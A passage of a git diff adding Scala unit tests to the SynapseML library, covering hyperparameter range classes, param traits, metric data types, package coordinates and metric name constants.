10.0, seed = 42) + val param2 = new DoubleRangeHyperParam(0.0, 10.0, seed = 42) + val values1 = (1 to 10).map(_ => param1.getNext()) + val values2 = (1 to 10).map(_ => param2.getNext()) + assert(values1 === values2) + } + + test("LongRangeHyperParam generates values within range") { + val param = new LongRangeHyperParam(0L, 100L, seed = 42) + for (_ <- 1 to 100) { + val value = param.getNext() + assert(value >= 0L && value < 100L, s"$value escaped [0, 100)") + } + } + + test("LongRangeHyperParam stays in range for a span wider than Long.MaxValue") { + val param = new LongRangeHyperParam(Long.MinValue, Long.MaxValue, seed = 42) + for (_ <- 1 to 100) { + val value = param.getNext() + assert(value >= Long.MinValue && value < Long.MaxValue) + } + } + + test("LongRangeHyperParam respects seed for reproducibility") { + val param1 = new LongRangeHyperParam(0L, 100L, seed = 42) + val param2 = new LongRangeHyperParam(0L, 100L, seed = 42) + val values1 = (1 to 10).map(_ => param1.getNext()) + val values2 = (1 to 10).map(_ => param2.getNext()) + assert(values1 === values2) + } + + test("FloatRangeHyperParam generates values within range") { + val param = new FloatRangeHyperParam(0.0f, 1.0f, seed = 42) + for (_ <- 1 to 100) { + val value = param.getNext() + assert(value >= 0.0f && value < 1.0f) + } + } + + test("DiscreteHyperParam selects from provided values") { + val hp = new DiscreteHyperParam(List("a", "b", "c"), seed = 42) + val values = (1 to 100).map(_ => hp.getNext()) + assert(values.forall(Set("a", "b", "c").contains)) + assert(values.toSet.size > 1) + } + + test("DiscreteHyperParam.getValues returns Java list") { + val values = List(1, 2, 3) + val param = new DiscreteHyperParam(values) + val javaList = param.getValues + assert(javaList.size() === 3) + assert(javaList.get(0) === 1) + assert(javaList.get(1) === 2) + assert(javaList.get(2) === 3) + } + + test("DiscreteHyperParam getValues returns Java list") { + val hp = new DiscreteHyperParam(List(1, 2, 3)) + val javaList = hp.getValues + assert(javaList.asScala.toList === List(1, 2, 3)) + } + + test("HyperparamBuilder builds empty array when no params added") { + val builder = new HyperparamBuilder() + val result = builder.build() + assert(result.isEmpty) + } + + test("HyperparamBuilder empty build returns empty array") { + val hp = new HyperparamBuilder().build() + assert(hp.isEmpty) + } + + test("HyperparamBuilder adds single hyperparam") { + val builder = new HyperparamBuilder() + builder.addHyperparam(testParamsInstance.intParam, new IntRangeHyperParam(1, 10)) + val result = builder.build() + assert(result.length === 1) + assert(result.head._1 === testParamsInstance.intParam) + } + + test("HyperparamBuilder adds multiple hyperparams") { + val builder = new HyperparamBuilder() + .addHyperparam(testParamsInstance.intParam, new IntRangeHyperParam(1, 10)) + .addHyperparam(testParamsInstance.doubleParam, new DoubleRangeHyperParam(0.0, 1.0)) + val result = builder.build() + assert(result.length === 2) + } + + test("HyperparamBuilder supports method chaining") { + val builder = new HyperparamBuilder() + val result = builder + .addHyperparam(testParamsInstance.intParam, new IntRangeHyperParam(1, 10)) + .addHyperparam(testParamsInstance.doubleParam, new DoubleRangeHyperParam(0.0, 1.0)) + .build() + assert(result.length === 2) + } + + test("HyperparamBuilder builds array of param-dist pairs") { + val hp = new HyperparamBuilder() + .addHyperparam(testParamsInstance.intParam, new IntRangeHyperParam(1, 10)) + .addHyperparam(testParamsInstance.doubleParam, new DoubleRangeHyperParam(0.0, 1.0)) + .build() + assert(hp.length === 2) + assert(hp.map(_._1.name).toSet === Set("intParam", "doubleParam")) + } + + test("HyperParamUtils.getRangeHyperParam returns IntRangeHyperParam for Int") { + val result = HyperParamUtils.getRangeHyperParam(1, 10) + assert(result.isInstanceOf[IntRangeHyperParam]) + val intResult = result.asInstanceOf[IntRangeHyperParam] + assert(intResult.min === 1) + assert(intResult.max === 10) + } + + test("HyperParamUtils.getRangeHyperParam matches Int type") { + val hp = HyperParamUtils.getRangeHyperParam(1, 10) + assert(hp.isInstanceOf[IntRangeHyperParam]) + } + + test("HyperParamUtils.getRangeHyperParam returns DoubleRangeHyperParam for Double") { + val result = HyperParamUtils.getRangeHyperParam(0.0, 1.0) + assert(result.isInstanceOf[DoubleRangeHyperParam]) + val doubleResult = result.asInstanceOf[DoubleRangeHyperParam] + assert(doubleResult.min === 0.0) + assert(doubleResult.max === 1.0) + } + + test("HyperParamUtils.getRangeHyperParam matches Double type") { + val hp = HyperParamUtils.getRangeHyperParam(0.0, 1.0) + assert(hp.isInstanceOf[DoubleRangeHyperParam]) + } + + test("HyperParamUtils.getRangeHyperParam returns LongRangeHyperParam for Long") { + val result = HyperParamUtils.getRangeHyperParam(0L, 100L) + assert(result.isInstanceOf[LongRangeHyperParam]) + val longResult = result.asInstanceOf[LongRangeHyperParam] + assert(longResult.min === 0L) + assert(longResult.max === 100L) + } + + test("HyperParamUtils.getRangeHyperParam matches Long type") { + val hp = HyperParamUtils.getRangeHyperParam(0L, 100L) + assert(hp.isInstanceOf[LongRangeHyperParam]) + } + + test("HyperParamUtils.getRangeHyperParam returns FloatRangeHyperParam for Float") { + val result = HyperParamUtils.getRangeHyperParam(0.0f, 1.0f) + assert(result.isInstanceOf[FloatRangeHyperParam]) + val floatResult = result.asInstanceOf[FloatRangeHyperParam] + assert(floatResult.min === 0.0f) + assert(floatResult.max === 1.0f) + } + + test("HyperParamUtils.getRangeHyperParam matches Float type") { + val hp = HyperParamUtils.getRangeHyperParam(0.0f, 1.0f) + assert(hp.isInstanceOf[FloatRangeHyperParam]) + } + + test("HyperParamUtils.getRangeHyperParam throws for unsupported types") { + assertThrows[Exception] { + HyperParamUtils.getRangeHyperParam("a", "b") + } + } + + test("HyperParamUtils.getRangeHyperParam throws on unsupported type") { + assertThrows[Exception] { + HyperParamUtils.getRangeHyperParam("a", "z") + } + } + + test("HyperParamUtils.getDiscreteHyperParam creates DiscreteHyperParam from Java ArrayList") { + val javaList = new java.util.ArrayList[Int]() + javaList.add(1) + javaList.add(2) + javaList.add(3) + val result = HyperParamUtils.getDiscreteHyperParam(javaList) + assert(result.isInstanceOf[DiscreteHyperParam[_]]) + val value = result.getNext() + assert(Seq(1, 2, 3).contains(value)) + } + + test("HyperParamUtils.getDiscreteHyperParam creates from Java ArrayList") { + val javaList = new java.util.ArrayList[String]() + javaList.add("x") + javaList.add("y") + val hp = HyperParamUtils.getDiscreteHyperParam(javaList) + val values = (1 to 50).map(_ => hp.getNext().toString) + assert(values.forall(v => v == "x" || v == "y")) + } + + test("RangeHyperParam stores min, max, and seed") { + val param = new IntRangeHyperParam(5, 15, seed = 123) + assert(param.min === 5) + assert(param.max === 15) + assert(param.seed === 123) + } + + test("seeded RangeHyperParam produces deterministic sequences") { + val hp1 = new IntRangeHyperParam(0, 100, seed = 123) + val hp2 = new IntRangeHyperParam(0, 100, seed = 123) + val seq1 = (1 to 10).map(_ => hp1.getNext()) + val seq2 = (1 to 10).map(_ => hp2.getNext()) + assert(seq1 === seq2) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifyCacheOps.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifyCacheOps.scala new file mode 100644 index 00000000000..cb132c26ab5 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifyCacheOps.scala @@ -0,0 +1,61 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.causal + +import breeze.linalg.{DenseVector => BDV} +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyCacheOps extends TestBase { + + test("CacheOps trait has default implementations that return input unchanged") { + val ops = new CacheOps[String] {} + val data = "test" + assert(ops.cache(data) === data) + assert(ops.checkpoint(data) === data) + } + + test("BDVCacheOps.cache returns the same vector") { + val vector = BDV(1.0, 2.0, 3.0) + val result = BDVCacheOps.cache(vector) + assert(result eq vector) + } + + test("BDVCacheOps.checkpoint returns the same vector") { + val vector = BDV(1.0, 2.0, 3.0) + val result = BDVCacheOps.checkpoint(vector) + assert(result eq vector) + } + + test("BDVCacheOps is a no-op for dense vectors") { + val vector = BDV(1.0, 2.0, 3.0, 4.0, 5.0) + + // Both operations should return the exact same instance + val cached = BDVCacheOps.cache(vector) + val checkpointed = BDVCacheOps.checkpoint(vector) + + assert(cached eq vector) + assert(checkpointed eq vector) + assert(cached.toArray === Array(1.0, 2.0, 3.0, 4.0, 5.0)) + } + + test("BDVCacheOps preserves vector data") { + val vector = BDV(10.0, 20.0, 30.0) + val cached = BDVCacheOps.cache(vector) + + assert(cached(0) === 10.0) + assert(cached(1) === 20.0) + assert(cached(2) === 30.0) + assert(cached.length === 3) + } + + test("CacheOps works with generic types") { + case class TestData(value: Int) + + val ops = new CacheOps[TestData] {} + val data = TestData(42) + + assert(ops.cache(data) === data) + assert(ops.checkpoint(data) === data) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifySharedParams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifySharedParams.scala new file mode 100644 index 00000000000..f100be4c4d8 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/causal/VerifySharedParams.scala @@ -0,0 +1,104 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.causal + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.Params +import org.apache.spark.ml.util.Identifiable + +class VerifySharedParams extends TestBase { + + // Test implementation that mixes in all the traits + private class TestParamsImpl(override val uid: String) + extends Params + with HasTreatmentCol + with HasOutcomeCol + with HasPostTreatmentCol + with HasUnitCol + with HasTimeCol { + override def copy(extra: org.apache.spark.ml.param.ParamMap): Params = this + } + + test("HasTreatmentCol sets and gets treatment column") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + params.setTreatmentCol("treatment") + assert(params.getTreatmentCol === "treatment") + } + + test("HasTreatmentCol param has correct name and doc") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + assert(params.treatmentCol.name === "treatmentCol") + assert(params.treatmentCol.doc === "treatment column") + } + + test("HasOutcomeCol sets and gets outcome column") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + params.setOutcomeCol("outcome") + assert(params.getOutcomeCol === "outcome") + } + + test("HasOutcomeCol param has correct name and doc") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + assert(params.outcomeCol.name === "outcomeCol") + assert(params.outcomeCol.doc === "outcome column") + } + + test("HasPostTreatmentCol sets and gets post treatment column") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + params.setPostTreatmentCol("postTreatment") + assert(params.getPostTreatmentCol === "postTreatment") + } + + test("HasPostTreatmentCol param has correct name and doc") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + assert(params.postTreatmentCol.name === "postTreatmentCol") + assert(params.postTreatmentCol.doc === "post treatment indicator column") + } + + test("HasUnitCol sets and gets unit column") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + params.setUnitCol("userId") + assert(params.getUnitCol === "userId") + } + + test("HasUnitCol param has correct name") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + assert(params.unitCol.name === "unitCol") + assert(params.unitCol.doc.contains("identifier for each observed unit")) + } + + test("HasTimeCol sets and gets time column") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + params.setTimeCol("date") + assert(params.getTimeCol === "date") + } + + test("HasTimeCol param has correct name") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + assert(params.timeCol.name === "timeCol") + assert(params.timeCol.doc.contains("time when outcome is measured")) + } + + test("All params can be set together") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + params + .setTreatmentCol("treatment") + .setOutcomeCol("outcome") + .setPostTreatmentCol("post") + .setUnitCol("user") + .setTimeCol("time") + + assert(params.getTreatmentCol === "treatment") + assert(params.getOutcomeCol === "outcome") + assert(params.getPostTreatmentCol === "post") + assert(params.getUnitCol === "user") + assert(params.getTimeCol === "time") + } + + test("Setters return this.type for chaining") { + val params = new TestParamsImpl(Identifiable.randomUID("test")) + val result = params.setTreatmentCol("treatment") + assert(result eq params) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyMetrics.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyMetrics.scala new file mode 100644 index 00000000000..740e1dd8924 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyMetrics.scala @@ -0,0 +1,105 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.contracts + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyMetrics extends TestBase { + + test("TypedMetric stores name and value correctly") { + val metric = TypedMetric("accuracy", 0.95) + assert(metric.name === "accuracy") + assert(metric.value === 0.95) + } + + test("TypedMetric works with different types") { + val doubleMetric = TypedMetric[Double]("score", 1.5) + val stringMetric = TypedMetric[String]("label", "positive") + val intMetric = TypedMetric[Int]("count", 42) + + assert(doubleMetric.value === 1.5) + assert(stringMetric.value === "positive") + assert(intMetric.value === 42) + } + + test("DoubleMetric stores name and double value") { + val metric = DoubleMetric("precision", 0.85) + assert(metric.name === "precision") + assert(metric.value === 0.85) + } + + test("StringMetric stores name and string value") { + val metric = StringMetric("category", "classification") + assert(metric.name === "category") + assert(metric.value === "classification") + } + + test("IntegralMetric stores name and long value") { + val metric = IntegralMetric("count", 1000L) + assert(metric.name === "count") + assert(metric.value === 1000L) + } + + test("TypenameMetricGroup stores name and values map") { + val metrics = Map( + "group1" -> Seq(DoubleMetric("m1", 1.0), DoubleMetric("m2", 2.0)), + "group2" -> Seq(StringMetric("s1", "test")) + ) + val group = TypenameMetricGroup("myGroup", metrics) + assert(group.name === "myGroup") + assert(group.values.size === 2) + assert(group.values("group1").length === 2) + } + + test("MetricData stores data, metricType, and modelName") { + val data = Map("accuracy" -> Seq(0.9, 0.91, 0.92)) + val metricData = MetricData(data, "classification", "logisticRegression") + + assert(metricData.data === data) + assert(metricData.metricType === "classification") + assert(metricData.modelName === "logisticRegression") + } + + test("MetricData.create converts single values to sequences") { + val singleValues = Map("accuracy" -> 0.95, "precision" -> 0.90) + val metricData = MetricData.create(singleValues, "classification", "svm") + + assert(metricData.data("accuracy") === List(0.95)) + assert(metricData.data("precision") === List(0.90)) + assert(metricData.metricType === "classification") + assert(metricData.modelName === "svm") + } + + test("MetricData.createTable preserves sequences") { + val tableData = Map( + "mse" -> Seq(0.1, 0.2, 0.3), + "rmse" -> Seq(0.316, 0.447, 0.548) + ) + val metricData = MetricData.createTable(tableData, "regression", "linearRegression") + + assert(metricData.data("mse") === Seq(0.1, 0.2, 0.3)) + assert(metricData.data("rmse").length === 3) + assert(metricData.metricType === "regression") + assert(metricData.modelName === "linearRegression") + } + + test("MetricData.create handles empty map") { + val metricData = MetricData.create(Map.empty[String, Double], "test", "model") + assert(metricData.data.isEmpty) + } + + test("MetricData.createTable handles empty map") { + val metricData = MetricData.createTable(Map.empty[String, Seq[Double]], "test", "model") + assert(metricData.data.isEmpty) + } + + test("ConvenienceTypes type aliases work correctly") { + import ConvenienceTypes._ + val name: UniqueName = "testMetric" + val table: MetricTable = Map(name -> Seq(TypedMetric("m1", 1.0))) + + assert(name === "testMetric") + assert(table.contains("testMetric")) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyParams.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyParams.scala new file mode 100644 index 00000000000..8088b3cebae --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/contracts/VerifyParams.scala @@ -0,0 +1,189 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.contracts + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.ml.param.ParamMap +import org.apache.spark.ml.util.Identifiable + +// Test implementations of the param traits +class TestHasInputCol(override val uid: String) + extends HasInputCol { + def this() = this(Identifiable.randomUID("TestHasInputCol")) + override def copy(extra: ParamMap): TestHasInputCol = defaultCopy(extra) +} + +class TestHasOutputCol(override val uid: String) + extends HasOutputCol { + def this() = this(Identifiable.randomUID("TestHasOutputCol")) + override def copy(extra: ParamMap): TestHasOutputCol = defaultCopy(extra) +} + +class TestHasInputCols(override val uid: String) + extends HasInputCols { + def this() = this(Identifiable.randomUID("TestHasInputCols")) + override def copy(extra: ParamMap): TestHasInputCols = defaultCopy(extra) +} + +class TestHasOutputCols(override val uid: String) + extends HasOutputCols { + def this() = this(Identifiable.randomUID("TestHasOutputCols")) + override def copy(extra: ParamMap): TestHasOutputCols = defaultCopy(extra) +} + +class TestHasLabelCol(override val uid: String) + extends HasLabelCol { + def this() = this(Identifiable.randomUID("TestHasLabelCol")) + override def copy(extra: ParamMap): TestHasLabelCol = defaultCopy(extra) +} + +class TestHasFeaturesCol(override val uid: String) + extends HasFeaturesCol { + def this() = this(Identifiable.randomUID("TestHasFeaturesCol")) + override def copy(extra: ParamMap): TestHasFeaturesCol = defaultCopy(extra) +} + +class TestHasWeightCol(override val uid: String) + extends HasWeightCol { + def this() = this(Identifiable.randomUID("TestHasWeightCol")) + override def copy(extra: ParamMap): TestHasWeightCol = defaultCopy(extra) +} + +class TestHasScoredLabelsCol(override val uid: String) + extends HasScoredLabelsCol { + def this() = this(Identifiable.randomUID("TestHasScoredLabelsCol")) + override def copy(extra: ParamMap): TestHasScoredLabelsCol = defaultCopy(extra) +} + +class TestHasScoresCol(override val uid: String) + extends HasScoresCol { + def this() = this(Identifiable.randomUID("TestHasScoresCol")) + override def copy(extra: ParamMap): TestHasScoresCol = defaultCopy(extra) +} + +class TestHasScoredProbabilitiesCol(override val uid: String) + extends HasScoredProbabilitiesCol { + def this() = this(Identifiable.randomUID("TestHasScoredProbabilitiesCol")) + override def copy(extra: ParamMap): TestHasScoredProbabilitiesCol = defaultCopy(extra) +} + +class TestHasEvaluationMetric(override val uid: String) + extends HasEvaluationMetric { + def this() = this(Identifiable.randomUID("TestHasEvaluationMetric")) + override def copy(extra: ParamMap): TestHasEvaluationMetric = defaultCopy(extra) +} + +class TestHasValidationIndicatorCol(override val uid: String) + extends HasValidationIndicatorCol { + def this() = this(Identifiable.randomUID("TestHasValidationIndicatorCol")) + override def copy(extra: ParamMap): TestHasValidationIndicatorCol = defaultCopy(extra) +} + +class TestHasInitScoreCol(override val uid: String) + extends HasInitScoreCol { + def this() = this(Identifiable.randomUID("TestHasInitScoreCol")) + override def copy(extra: ParamMap): TestHasInitScoreCol = defaultCopy(extra) +} + +class TestHasGroupCol(override val uid: String) + extends HasGroupCol { + def this() = this(Identifiable.randomUID("TestHasGroupCol")) + override def copy(extra: ParamMap): TestHasGroupCol = defaultCopy(extra) +} + +class VerifyParams extends TestBase { + + test("HasInputCol set and get work correctly") { + val obj = new TestHasInputCol() + obj.setInputCol("myInput") + assert(obj.getInputCol === "myInput") + } + + test("HasOutputCol set and get work correctly") { + val obj = new TestHasOutputCol() + obj.setOutputCol("myOutput") + assert(obj.getOutputCol === "myOutput") + } + + test("HasInputCols set and get work correctly") { + val obj = new TestHasInputCols() + val cols = Array("col1", "col2", "col3") + obj.setInputCols(cols) + assert(obj.getInputCols.sameElements(cols)) + } + + test("HasOutputCols set and get work correctly") { + val obj = new TestHasOutputCols() + val cols = Array("out1", "out2") + obj.setOutputCols(cols) + assert(obj.getOutputCols.sameElements(cols)) + } + + test("HasLabelCol set and get work correctly") { + val obj = new TestHasLabelCol() + obj.setLabelCol("target") + assert(obj.getLabelCol === "target") + } + + test("HasFeaturesCol set and get work correctly") { + val obj = new TestHasFeaturesCol() + obj.setFeaturesCol("features") + assert(obj.getFeaturesCol === "features") + } + + test("HasWeightCol set and get work correctly") { + val obj = new TestHasWeightCol() + obj.setWeightCol("weight") + assert(obj.getWeightCol === "weight") + } + + test("HasScoredLabelsCol set and get work correctly") { + val obj = new TestHasScoredLabelsCol() + obj.setScoredLabelsCol("scoredLabels") + assert(obj.getScoredLabelsCol === "scoredLabels") + } + + test("HasScoresCol set and get work correctly") { + val obj = new TestHasScoresCol() + obj.setScoresCol("scores") + assert(obj.getScoresCol === "scores") + } + + test("HasScoredProbabilitiesCol set and get work correctly") { + val obj = new TestHasScoredProbabilitiesCol() + obj.setScoredProbabilitiesCol("probs") + assert(obj.getScoredProbabilitiesCol === "probs") + } + + test("HasEvaluationMetric set and get work correctly") { + val obj = new TestHasEvaluationMetric() + obj.setEvaluationMetric("accuracy") + assert(obj.getEvaluationMetric === "accuracy") + } + + test("HasValidationIndicatorCol set and get work correctly") { + val obj = new TestHasValidationIndicatorCol() + obj.setValidationIndicatorCol("isValidation") + assert(obj.getValidationIndicatorCol === "isValidation") + } + + test("HasInitScoreCol set and get work correctly") { + val obj = new TestHasInitScoreCol() + obj.setInitScoreCol("initScore") + assert(obj.getInitScoreCol === "initScore") + } + + test("HasGroupCol set and get work correctly") { + val obj = new TestHasGroupCol() + obj.setGroupCol("group") + assert(obj.getGroupCol === "group") + } + + // Test chaining + test("param setters return this for chaining") { + val obj = new TestHasInputCol() + val result = obj.setInputCol("test") + assert(result eq obj) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/env/VerifyPackageUtils.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/env/VerifyPackageUtils.scala new file mode 100644 index 00000000000..6a50afcbbaf --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/env/VerifyPackageUtils.scala @@ -0,0 +1,58 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.env + +import com.microsoft.azure.synapse.ml.build.BuildInfo +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyPackageUtils extends TestBase { + + test("ScalaVersionSuffix is extracted from BuildInfo.scalaVersion") { + // Scala version is typically like "2.12.15" or "2.13.x" + // ScalaVersionSuffix should be "2.12" or "2.13" + val suffix = PackageUtils.ScalaVersionSuffix + assert(suffix.split("\\.").length === 2) + assert(suffix.startsWith("2.")) + } + + test("PackageGroup has expected value") { + assert(PackageUtils.PackageGroup === "com.microsoft.azure") + } + + test("PackageName contains scala version suffix") { + assert(PackageUtils.PackageName.startsWith("synapseml_")) + assert(PackageUtils.PackageName.contains(PackageUtils.ScalaVersionSuffix)) + } + + test("PackageMavenCoordinate has correct format") { + val coord = PackageUtils.PackageMavenCoordinate + // Format should be: group:artifact:version + val parts = coord.split(":") + assert(parts.length === 3) + assert(parts(0) === PackageUtils.PackageGroup) + assert(parts(1) === PackageUtils.PackageName) + assert(parts(2) === BuildInfo.version) + } + + test("PackageRepository is a valid URL") { + val repo = PackageUtils.PackageRepository + assert(repo.startsWith("https://")) + } + + test("SparkMavenPackageList contains package coordinate") { + val packages = PackageUtils.SparkMavenPackageList + assert(packages.contains(PackageUtils.PackageMavenCoordinate)) + } + + test("SparkMavenPackageList contains spark-avro") { + val packages = PackageUtils.SparkMavenPackageList + assert(packages.contains("spark-avro")) + } + + test("SparkMavenRepositoryList points at the SynapseML maven feed") { + val repos = PackageUtils.SparkMavenRepositoryList + assert(repos === "https://mmlspark.blob.core.windows.net/maven") + assert(repos === PackageUtils.PackageRepository) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala new file mode 100644 index 00000000000..bc484328bcb --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/metrics/VerifyMetricConstants.scala @@ -0,0 +1,155 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.core.metrics + +import com.microsoft.azure.synapse.ml.core.test.base.TestBase + +class VerifyMetricConstants extends TestBase { + + // Regression metrics tests + test("regression metric constants have expected values") { + assert(MetricConstants.MseSparkMetric === "mse") + assert(MetricConstants.RmseSparkMetric === "rmse") + assert(MetricConstants.R2SparkMetric === "r2") + assert(MetricConstants.MaeSparkMetric === "mae") + assert(MetricConstants.RegressionMetricsName === "regression") + } + + test("RegressionMetrics set contains all regression metrics") { + assert(MetricConstants.RegressionMetrics.contains(MetricConstants.MseSparkMetric)) + assert(MetricConstants.RegressionMetrics.contains(MetricConstants.RmseSparkMetric)) + assert(MetricConstants.RegressionMetrics.contains(MetricConstants.R2SparkMetric)) + assert(MetricConstants.RegressionMetrics.contains(MetricConstants.MaeSparkMetric)) + assert(MetricConstants.RegressionMetrics.contains(MetricConstants.RegressionMetricsName)) + assert(MetricConstants.RegressionMetrics.size === 5) + } + + // Classification metrics tests + test("classification metric constants have expected values") { + assert(MetricConstants.AreaUnderROCMetric === "areaUnderROC") + assert(MetricConstants.AucSparkMetric === "AUC") + assert(MetricConstants.AccuracySparkMetric === "accuracy") + assert(MetricConstants.PrecisionSparkMetric === "precision") + assert(MetricConstants.RecallSparkMetric === "recall") + assert(MetricConstants.ClassificationMetricsName === "classification") + } + + test("ClassificationMetrics set contains all classification metrics") { + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AreaUnderROCMetric)) + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AucSparkMetric)) + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.AccuracySparkMetric)) + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.PrecisionSparkMetric)) + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.RecallSparkMetric)) + assert(MetricConstants.ClassificationMetrics.contains(MetricConstants.ClassificationMetricsName)) + assert(MetricConstants.ClassificationMetrics.size === 6) + } + + test("AllSparkMetrics constant") { + assert(MetricConstants.AllSparkMetrics === "all") + } + + // Column name tests + test("regression column names have expected values") { + assert(MetricConstants.MseColumnName === "mean_squared_error") + assert(MetricConstants.RmseColumnName === "root_mean_squared_error") + assert(MetricConstants.R2ColumnName === "R^2") + assert(MetricConstants.MaeColumnName === "mean_absolute_error") + } + + test("classification column names have expected values") { + assert(MetricConstants.AucColumnName === "AUC") + assert(MetricConstants.PrecisionColumnName === "precision") + assert(MetricConstants.RecallColumnName === "recall") + assert(MetricConstants.AccuracyColumnName === "accuracy") + } + + test("multiclass column names have expected values") { + assert(MetricConstants.AverageAccuracy === "average_accuracy") + assert(MetricConstants.MacroAveragedRecall === "macro_averaged_recall") + assert(MetricConstants.MacroAveragedPrecision === "macro_averaged_precision") + assert(MetricConstants.ConfusionMatrix === "confusion_matrix") + } + + // MetricToColumnName mapping tests + test("MetricToColumnName contains correct mappings") { + assert(MetricConstants.MetricToColumnName(MetricConstants.AccuracySparkMetric) === + MetricConstants.AccuracyColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.PrecisionSparkMetric) === + MetricConstants.PrecisionColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.RecallSparkMetric) === + MetricConstants.RecallColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.MseSparkMetric) === + MetricConstants.MseColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.RmseSparkMetric) === + MetricConstants.RmseColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.R2SparkMetric) === + MetricConstants.R2ColumnName) + assert(MetricConstants.MetricToColumnName(MetricConstants.MaeSparkMetric) === + MetricConstants.MaeColumnName) + } + + // Column lists tests + test("ClassificationColumns contains expected columns") { + assert(MetricConstants.ClassificationColumns === List( + MetricConstants.AccuracyColumnName, + MetricConstants.PrecisionColumnName, + MetricConstants.RecallColumnName)) + } + + test("RegressionColumns contains expected columns") { + assert(MetricConstants.RegressionColumns === List( + MetricConstants.MseColumnName, + MetricConstants.RmseColumnName, + MetricConstants.R2ColumnName, + MetricConstants.MaeColumnName)) + } + + // Evaluation type tests + test("evaluation type constants have expected values") { + assert(MetricConstants.ClassificationEvaluationType === "Classification") + assert(MetricConstants.EvaluationType === "evaluation_type") + } + + // ROC column names tests + test("ROC column names have expected values") { + assert(MetricConstants.FpRateROCColumnName === "false_positive_rate") + assert(MetricConstants.TpRateROCColumnName === "true_positive_rate") + assert(MetricConstants.FpRateROCLog === "fpr") + assert(MetricConstants.TpRateROCLog === "tpr") + } + + test("BinningThreshold has expected value") { + assert(MetricConstants.BinningThreshold === 1000) + } + + // Per instance metrics tests + test("per instance metric constants have expected values") { + assert(MetricConstants.L1LossMetric === "L1_loss") + assert(MetricConstants.L2LossMetric === "L2_loss") + assert(MetricConstants.LogLossMetric === "log_loss") + } + + test("RegressionPerInstanceMetrics contains expected metrics") { + assert(MetricConstants.RegressionPerInstanceMetrics.contains(MetricConstants.RegressionMetricsName)) + assert(MetricConstants.RegressionPerInstanceMetrics.size === 1) + } + + test("ClassificationPerInstanceMetrics contains expected metrics") { + assert(MetricConstants.ClassificationPerInstanceMetrics.contains(MetricConstants.ClassificationMetricsName)) + assert(MetricConstants.ClassificationPerInstanceMetrics.size === 1) + } + + // FindBestModelMetrics tests + test("FindBestModelMetrics contains all expected metrics") { + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.MseSparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.RmseSparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.R2SparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.MaeSparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.AccuracySparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.PrecisionSparkMetric)) + assert(MetricConstants.FindBestModelMetrics.contains(MetricConstants.RecallSparkMetric)) + 